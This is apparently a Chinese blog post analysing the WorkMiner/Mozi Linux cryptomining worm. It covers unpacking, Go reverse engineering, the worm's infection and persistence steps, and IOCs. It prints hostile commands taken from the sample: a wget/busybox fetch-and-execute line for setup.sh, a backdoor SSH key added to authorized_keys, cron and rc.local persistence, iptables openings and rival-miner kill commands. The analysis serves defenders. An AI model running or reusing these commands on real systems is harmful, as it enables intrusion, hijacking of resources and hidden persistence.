概述
这是一个Linux平台的挖矿蠕虫,使用了go和C混合编译而成,主要通过爆破SSH口令进行传播,属于Mozi僵尸网络。其中GO代码负责SSH相关的爆破传播,以及对Config的处理,C代码则负责处理加入Mozi P2P网络,拉取Config。
样本的基本信息
这个样本还有64位的版本,本文分析其32位的样本。
文件大小: 4.17 MB (4,379,004 字节)
MD5: 06e1f988471336d788da0fcaa29ed50b
SHA1: 2fa461cd8f0614dfb86f845aef47c42910370b00
SHA256: 7f28b2791ad94a202eea5e4c91d47cdeadca4723723427af574519f8aedbf15e
CRC32: fdd3ffe2查壳信息
ELF32操作系统: Linux[386, 32 位, EXEC]打包工具: UPX(3.93)[NRV2E_LE32,brute]
这个样本使用upx加壳,第一步需要脱壳。
脱壳
脱壳过程中遇到了一点问题,出现p_info corrupted的错误,应该是作者故意破坏了upx的结构,借鉴这篇文章upx解压出现 p_info corrupted错误解决办法_upx 解压-CSDN博客,轻松完成脱壳。
(kali㉿kali)-[~/Desktop/workminer]
└─$ upx -d 2Ultimate Packer for eXecutablesCopyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020File size Ratio Format Name-------------------- ------ ----------- -----------8110072 <- 4379004 53.99% linux/i386 2Unpacked 1 file.
脱壳后的样本的基本信息,这是一个go语言编译的程序
文件大小: 7.73 MB (8,110,072 字节)
MD5: 9dd852ebffba2ee220043bde4aba717d
SHA1: 1c22114f69d2afbf2905fa197668be2b87ec199a
SHA256: 1a408c514c532a05d33d203d0ac0d4fdd0c0dabeee231dec07a83e6daa01cf31
Detect It Easy的识别信息
ELF32操作系统: Ubuntu Linux(16.04.12,ABI: 2.6.32)[386, 32 位, EXEC]编译器: GCC(4.9.2)编译器: Go语言: C/C++语言: Go打包工具: UPX(3.93)
查看go编译的版本
$ go version 3
3: go1.14.4
下面使用IDA进行静态分析,这是使用的是IDA8.3 pro版本,可以识别go中的大部分函数,极大的方便go语言的逆向。
go语言逆向基础
go语言底层是用C语言实现的,但是它的数据结构和传参方式不同,这个样本中的涉及两种数据结构。
string类型
go语言中 string类型可以用C表示成如下结构体,占用8个字节,一个buffer的指针和一个长度。
struct BUILTIN_STRING
{char *ptr; //字符串指针,注意不以0结尾size_t len; //字符串的长度
};
slice类型
slice类型用C语言可表示为
struct _slice_uint8
{uint8 *ptr;//数据指针size_t len;//数据实际长度size_t cap;//分配的缓冲区大小
};
传参方式
下面以io/ioutil中的WriteFile函数为例,介绍一下go语言特殊的栈使用方式。
这个函数的功能是创建一个文件,并写入内容,函数的声明如下,共有3个参数,参数filename是要写入的文件名,string类型,参数data是要写入的数据,是slice类型,perm是一个整数,是创建文件的模式。若调用成功返回nil,若调用失败,返回err结构。
func ioutil.WriteFile(filename string, data []byte, perm fs.FileMode) error
使用下面的代码调用ioutil.WriteFile
filename:="/tmp/xmr"
data := make([]byte, 100)
err := ioutil.WriteFile(filename, data, 511)
if err == nil {...
}
上面的代码的汇编代码如下:
.text:082A9B36 mov [esp], eax ; filename.ptr
.text:082A9B39 mov [esp+4], ecx ; filename.len
.text:082A9B3D mov eax, data.cap
.text:082A9B43 mov ecx, data.len
.text:082A9B49 mov edx, data.ptr
.text:082A9B4F mov [esp+8], edx ;data.ptr
.text:082A9B53 mov [esp+0Ch], ecx ;data.len
.text:082A9B57 mov [esp+10h], eax ;data.cap
.text:082A9B5B mov dword ptr [esp+14h], 1FFh ; fs.FileMode=511
.text:082A9B63 call io_ioutil_WriteFile
.text:082A9B68 mov eax, [esp+18h] ;返回值 err
.text:082A9B6C test eax, eax ;判断 err是否为0
.text:082A9B6E jz loc_82AA1C1
通过上面的汇编代码可以看到,函数调用过程没有push操作,只需要将参数放到栈上的就行了,最后返回值也是从栈上参数之后的位置依次取就行了。如下图所示,理解了这个后面的分析就容易多了。
IDA pro远程调试
这里调试环境使用的kali+IDA Pro8.3,在kali中创建目录/usr/.work
,将work32样本和linux_server64
拷贝到这个目录。linux_server64
文件在IDA安装目录下的dbgsrv
目录下。
运行linux_server64,开启服务端,如下所示。
┌──(root💀kali)-[/usr/.work]
└─# chmod +x linux_server64 work32┌──(root💀kali)-[/usr/.work]
└─# ./linux_server64 -P12345
IDA Linux 64-bit remote debug server(ST) v8.3.28. Hex-Rays (c) 2004-2023
2024-04-18 05:00:43 Listening on 0.0.0.0:23946...
打开IDA pro8.3 x86,在Debugger->Run->Remote Linux Debugger,设置如下参数,确定后即可远程调试。
静态分析
首先进行os_init_0函数,这个函数是进行了一些初始化工作,主要是获取函数的命令行参数,保存在全局变量中。
进入main_main,这是程序的入口。
检查参数
首先执行main_daemon函数来处理命令行参数。处理的逻辑比较简单,可以用go语言伪代码表示如下
func main_daemon() {args := os.Argsif len(args) < 2 { //若没有参数运行 work32 -deamoncmd := exec.Command(args[0], "-deamon")cmd.Start()os.Exit(0)} else {var cmd *exec.Cmdif args[1] != "-deamon" { //若第1个参数不是-deamonif len(args) == 3 { //有2个参数的话(不算程序自身) 执行 work32 -deamon arg1 arg2newargs := []string{"-deamon", args[1], args[2]}cmd = exec.Command(args[0], newargs...)} else if args[1] == "-run" { //若第1个参数是 -run的话,work32 -deamon -runnewargs := []string{"-deamon", args[1]}cmd = exec.Command(args[0], newargs...)} else {//其它情况 执行 work32 -deamoncmd = exec.Command(args[0], "-deamon")}cmd.Start()os.Exit(0)}}
}
防双开
调用main_run_once来保证只有一个实例在运行,通过监听本地的TCP 14747端口,其该端口已经被占用,则退出。
func main_run_once() {tcpaddr, _ := net.ResolveTCPAddr("tcp", "127.0.0.1:14747")tcpListener, err := net.ListenTCP("tcp", tcpaddr)if err != nil {fmt.Println(err)os.Exit(0)}go main_run_once_func1(tcpListener)}
kill其它挖矿进程
调用main_killminer删除其它挖矿进程
执行下载这些命令,这些进程的是一些常见的linux平台的挖矿程序,干掉竞品,好单独压榨系统资源,这是挖矿蠕虫的通用操作。
ps -ef | grep Circle_MI | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep kworker34 | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep .daemond | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /tmp/thisxxs | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /opt/yilu/work/xig/xig | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /opt/yilu/mservice | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /usr/bin/.sshd | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /usr/bin/bsd-port/getty | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep x86_ | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep cryptonight | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep ddg | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep prohash | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep miner | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep pool. | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep tcp: | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep stratum | grep -v grep | awk '{print $2}' | xargs kill -9
killall xmrchmod 700 /root/.ssh/
切换到/tmp/
目录下,执行killall xmr
命令,这是自身的挖矿程序。
执行下列两条命令,将wget和curl两个程序重命名,防止其它程序使用。
mv /usr/bin/wget /usr/bin/wget1&
mv /usr/bin/curl /usr/bin/curl1&
释放文件/tmp/config.json
这是xmrig的配置文件,文件内容如下,里面的作者门罗币钱包的地址(47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
)和矿池的地址(xmr.crypto-pool.fr:6666
)。
{"api": {"id": null,"worker-id": null},"http": {"enabled": false,"host": "127.0.0.1","port": 0,"access-token": null,"restricted": true},"autosave": true,"background": true,"colors": true,"title": true,"randomx": {"init": -1,"mode": "auto","1gb-pages": false,"rdmsr": true,"wrmsr": false,"numa": true},"cpu": {"enabled": true,"huge-pages": true,"hw-aes": null,"priority": null,"memory-pool": false,"yield": true,"argon2-impl": null,"astrobwt-max-size": 550,"astrobwt-avx2": false,"argon2": [0],"astrobwt": [-1],"cn": [[1, 0]],"rx": [0],"rx/wow": [0],"cn/0": false,"rx/arq": "rx/wow","rx/keva": "rx/wow"},"donate-level": 0,"donate-over-proxy": 1,"log-file": null,"pools": [{"algo": null,"coin": null,"url": "xmr.crypto-pool.fr:6666","user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV","pass": "x","rig-id": null,"nicehash": false,"keepalive": false,"enabled": true,"tls": false,"tls-fingerprint": null,"daemon": false,"socks5": null,"self-select": null}],"print-time": 60,"retries": 5,"retry-pause": 5,"syslog": false,"user-agent": null,"verbose": 0,"watch": true
}
释放/tmp/xmr文件,这是xmrig挖矿程序,这个样本的基本信息如下,使用了upx加壳,这个文件的p_info也被破坏了,这是一个编译好的xmrig程序,版本是6.2.3。
文件大小: 1.20 MB (1,267,292 字节)
MD5: 20552242cd4b5e8fa6071951e9f4bf6d
SHA1: 95f8891ab0169ee8c51c39de0d3f0b974091e8fa
SHA256: 86f0e4c7596a7ac30af4152ce86268b109c325f62a7cfe1be0dbc72de0d9279a壳信息
ELF32操作系统: Linux[386, 32 位, EXEC]打包工具: UPX(3.93)[NRV2E_LE32,brute]# ./xmr -V
XMRig 6.2.3built on Jul 15 2020 with GCC 5.4.0features: 32-bit AESlibuv/1.38.0
hwloc/2.2.0
执行chomd +x /tmp/xmr
给xmr程序执行权限,进而运行。
释放文件/tmp/secure.sh
并运行,这个bash脚本内容如下,这个shell脚本的功能是用于自动检测并封锁频繁登录失败的IP地址,这个shell脚本会检测安全日志(/var/log/secure
)中的登录失败记录,统计登录失败次数超过8次的IP地址,并将这些IP地址添加到/etc/hosts.deny
文件中,实现对恶意登录的自动封锁。应该是为防止其它基于ssh爆破的蠕虫登陆当前受害主机。
#!/bin/bashLIMIT=8
while true ; doTIME=$(date '+%b %e %H') #example: Apr 11 11BLOCK_IP=$(grep "$TIME" /var/log/secure|grep Failed|awk '{print $(NF-3)}'|sort|uniq -c|awk '$1>"$LIMIT"{print $1":"$2}')for i in $BLOCK_IPdoIP=$(echo $i|awk -F: '{print $2}')grep $IP /etc/hosts.deny > /dev/nullif [ $? -gt 0 ];thenecho "sshd:$IP" >> /etc/hosts.denyfidonesleep 60
done
释放并执行/tmp/auth.sh
,这个bash脚本内容如下,功能与/tmp/secure.sh
相同,只是检测的日志文件变成/var/log/auth.log
.
#!/bin/bashLIMIT=8
while true ; doTIME=$(date '+%b %e %H') #example: Apr 11 11BLOCK_IP=$(grep "$TIME" /var/log/auth.log|grep Failed|awk '{print $(NF-3)}'|sort|uniq -c|awk '$1>"$LIMIT"{print $1":"$2}')for i in $BLOCK_IPdoIP=$(echo $i|awk -F: '{print $2}')grep $IP /etc/hosts.deny > /dev/nullif [ $? -gt 0 ];thenecho "sshd:$IP" >> /etc/hosts.denyfidonesleep 60
done
。
总结来说,这个shell脚本会检测安全日志中的登录失败记录,统计登录失败次数超过一定限制的IP地址,并将这些IP地址添加到/etc/hosts.deny
文件中,实现对恶意登录的自动封锁。
释放并执行/tmp/auth.sh
#!/bin/bashLIMIT=8
while true ; doTIME=$(date '+%b %e %H') #example: Apr 11 11BLOCK_IP=$(grep "$TIME" /var/log/auth.log|grep Failed|awk '{print $(NF-3)}'|sort|uniq -c|awk '$1>"$LIMIT"{print $1":"$2}')for i in $BLOCK_IPdoIP=$(echo $i|awk -F: '{print $2}')grep $IP /etc/hosts.deny > /dev/nullif [ $? -gt 0 ];thenecho "sshd:$IP" >> /etc/hosts.denyfidonesleep 60
done
拷贝文件
若当前系统中不存在目录/usr/.work
,创建这个目录,并切换到当前目录将当前目录下的所有文件拷贝到/usr/.work
下。
添加ssh公钥
若目录/root/.ssh
不存在,执行下面的命令创建该目录,并写入公钥。
mkdir -p /root/.ssh
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl"7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911\" >> /root/.ssh/authorized_keys
添加开机启动项
检测下面三个文件之一是否存在,若存在,向末尾添加\n/usr/.work/work32&\n
,这是开机启动项。
/etc/rc.d/rc.local
/etc/rc.local
/etc/rc.conf
添加计划任务
若存在文件/etc/crontab
和/var/spool/cron/root
,向末尾添加\n0 * * * * root /usr/.work/work32\n
,这是计划任务,每小时以root权限运行一次。
若不存在文件/var/spool/cron/root
,创建文件/var/spool/cron/crontabs/root
,向其中添加\n0 * * * * root /usr/.work/work32\n
。
修改防火墙策略
在8011至8018之间随机选择一个端口,添加如下的iptables策略,这个端口是用来创建一个http服务,用于传播自身。
iptables -I INPUT -p tcp --dport 801x -j ACCEPT
iptables -I OUTPUT -p tcp --sport 801x -j ACCEPT
iptables -I PREROUTING -t nat -p tcp --dport 801x -j ACCEPT
iptables -I POSTROUTING -t nat -p tcp --sport 801x -j ACCEPT
下面开启了3个routine,来执行不同的功能。
协程1 开户web服务
函数名为 __home_haha_work_go_sshworm_work_Fileserver
这个routine有两个参数,参数1是路径/usr/.work/
,参数2是上面产生的随机端口
使用上面的产生的端口,在本地开启一个web服务,工作目录为/usr/.work/
,用于下载文件
用go的伪代码可以表示如下
// 开户一个http服务器
func start_ftp_server(filepath string, port string) {fs := http.StripPrefix("/", http.FileServer(http.Dir(filepath)))http.Handle("/", fs)http.ListenAndServe(":"+port, nil)
}
协程2 流量统计
函数名为 main_go_count
这个runtine的作用是间隔500s,请求地址http://ia.51.la/go1?id=17675125&pu=http%3a%2f%2fwww.so.com//usr/.work/work32/[本地ip]:[上面监听的端口]/.x86
http://ia.51.la
是用来进行网站流量统计的,作者应该是想用这种方式来掌握当前僵尸网络的规模。
协程3 ssh爆破
函数名为__home_haha_work_go_sshworm_work_Crackssh)
用于ssh爆破 传播自身
这个函数有4个参数
若存在文件./user.list
且文件大小不为0,按行读取文件内容到一个slice中,若该文件不存在,加载一个内置的列表,这个用户列表只有一个root
。
若存在文件./pass.list
且文件大小不为0,按行读取文件内容到一个slice中,若该文件不存在,加载一个内置的string列表,这个口令字典有33763个口令。
获取当前本地地址和公网地址,遍历本地局域网的地址,随机产生一系列IP,扫描这些IP的22端口是否开放,若开放的话,使用前面的口令字典对其ssh进行爆破。
若爆破成功的话,执行下面两个命令
└─# echo -e "\x6F\x6B"
ok└─# uname -m
x86_64
若uname -m
的结果中有86的话,
执行mkdir /usr/.work
,若该目录存在的话,执行mkdir /tmp/.work
将当前主机的work32和work64文件拷贝目标主机对应的目录下,
执行
chmod +x /usr/.work/work32
/usr/.work/work32
sleep 2chmod +x /usr/.work/work64
/usr/.work/work32
sleep 2
否则,使用ssh执行下面的命令
cd /tmp || cd /var/run || cd /proc || cd /var ; wget http://www.google.com/setup.sh; busybox wget http://[url]/setup.sh; chmod 777 setup.sh; sh setup.sh; rm -f setup.sh
其中的Url是从config中解析出来的
config处理
C语言部分
这部分的功能是加入p2p网络,拉取config
work32主函数调用main_Cfunc_GetConf,并传入sub_82AA360,
main_Cfunc_GetConf调用C函数sub_82aa3f0,sub_82aa3f0进而调用dnt_task_82b1f09,将sub_82AA360传给dnt_task函数,dnt_task函数获取config之后交给sub_82AA360来处理,sub_82AA360进而调用main_deal_conf。调用关系如下图所示。
这个过程比较复杂,主要功能加入p2p网络中,获得最新的config。(没有分析明白)
会随机生成一个udp端口,添加iptables规则,应该是用于p2p网络通信。
iptables -I INPUT -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
会连接下面几个地址,这是dht网络的公开的骨干节点。
router.bittorrent.com:6881
bttracker.debian.org:6881
router.utorrent.com:6881
dht.transmissionbt.com:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
这个样本中内嵌了一个config,使用异域的方式解密,解密的密钥为
4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
解密后config如下图所示。
go语言分析 main_deal_conf
main_deal_conf函数的作用是处理config,从config中提取下面这些变量,来执行不同的功能,样本内嵌的config中不含有这些标签。
样本内嵌的cofig
[ss]ssh[/ss][cpu].x[/cpu][hp]88888888[/hp]
[slan] 这是一个开关变量,若slan字符串=1话,将全局变量gSlanFlag设置为1,否则设置为0,不知道作用
[swan] 开关变量,若swan字符串=1话,将全局变量gSlanFlag设置为1,否则设置为0
[spl] 这是下载bash脚本的url[/spl] 比较spl的长度大于13,将其保存在全局变量gUrl_864f550
[sdf][/sdf] 格式为"url|filename",会从url中下载文件保存为/tmp/+filename,更新本地的病毒母体
[sud][/sud] 其中有一个url,从url下载一个文件,更新本地的work32
[ssh] 会下载一个文件来执行
[srn] 未知
[sdr] 未知
[scount][/scount] 流量统计的url 默认使用http://ia.51.la/go1?id=17675125&pu=http%3a%2f%2fwww.so.com
IOC
file
/usr/.work/work32 32样本
/usr/.work/work64 64样本
/usr/.work/user.list 用户名字典 不一定有
/usr/.work/pass.list 口令字典 不一定有
/tmp/secure.sh 用于封禁ssh爆破IP
/tmp/auth.sh 用于封禁ssh爆破IP
/tmp/xmr xmrig挖矿程序,使用upx加壳
/tmp/config.json xmrig的配置文件
/tmp/upgrade.sh 更新脚本 不一定有
/tmp/setup.sh 不一定有门罗币钱包
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
门罗币矿池
xmr.crypto-pool.fr:6666计划任务
这3个文件/etc/crontab、/var/spool/cron/root、/var/spool/cron/crontabs/root中含有
0 * * * * root /usr/.work/work32或work64iptable有规则
Chain INPUT (policy ACCEPT)
arget prot opt source destination
ACCEPT udp -- anywhere anywhere udp dpt:[随机端口]
ACCEPT tcp -- anywhere anywhere tcp dpt:[8081-8088随机端口]
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT udp -- anywhere anywhere udp spt:[随机端口]
ACCEPT tcp -- anywhere anywhere tcp spt:[8081-8088随机端口]上面的随机tcp端口开放了一个http服务ssh公钥
/root/.ssh/authorized_keys中含有
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl"7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911网络
http://ia.51.la/go1?id=17675125&pu=http%3a%2f%2fwww.so.com/dht网络节点
router.bittorrent.com:6881
bttracker.debian.org:6881
router.utorrent.com:6881
dht.transmissionbt.com:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
总结
这个挖矿蠕虫有点复杂,使用go和c混合编译,go语言部分分析相对简单,C语言部分分析不明白,没想到一个简单的挖矿木马背后竟然连着一个庞大的僵尸网络。
参考资料
-
Linux挖矿木马WorkMiner集中爆发,利用SSH暴力破解传播 - FreeBuf网络安全行业门户
-
主机越用越卡?警惕WorkMiner挖矿病毒来袭! - FreeBuf网络安全行业门户
-
九维团队-青队(处置)| WorkMiner挖矿木马应急处置手册 | CN-SEC 中文网
-
IDA Pro7.5使用 IDAGolangHelper问题 - 简书 (jianshu.com)
-
Go二进制文件逆向分析从基础到进阶——综述 - 知乎 (zhihu.com)
-
upx解压出现 p_info corrupted错误解决办法_upx 解压-CSDN博客
-
“Hello,World”中发现Mozi僵尸网络踪迹 - FreeBuf网络安全行业门户
-
Go二进制文件逆向分析从基础到进阶——综述-安全客 - 安全资讯平台 (anquanke.com)
-
前景 · Go语言中文文档 (topgoer.com)
-
Go_Parser:一款针对IDAPro的Golang二进制代码分析工具 - FreeBuf网络安全行业门户
-
Go二进制文件逆向分析从基础到进阶——Tips与实战案例-安全客 - 安全资讯平台 (anquanke.com)
-
新型活跃Mozi样本分析报告 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
-
新型活跃Mozi样本分析报告 - Hk_Mayfly - 博客园 (cnblogs.com)
-
一次排查服务器挖矿病毒_xmr.crypto-pool.fr:6666-CSDN博客
-
ELF文件格式解析_elf e_type-CSDN博客
-
[范例]从正在运行的Linux进程中dump出内存内容_dump memory-CSDN博客
-
ELF中可以被修改又不影响执行的区域 - 简书 (jianshu.com)
-
readelf命令使用说明-CSDN博客
-
Mozi 僵尸网络现状 – 绿盟科技技术博客 (nsfocus.net)
-
Mozi已死,余毒犹存 (360.com)
-
P2P Botnet: Mozi分析报告 (360.com)
-
专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告-腾讯云开发者社区-腾讯云 (tencent.com)
-
IDA远程动态调试(linux & Windows)_ida远程调试-CSDN博客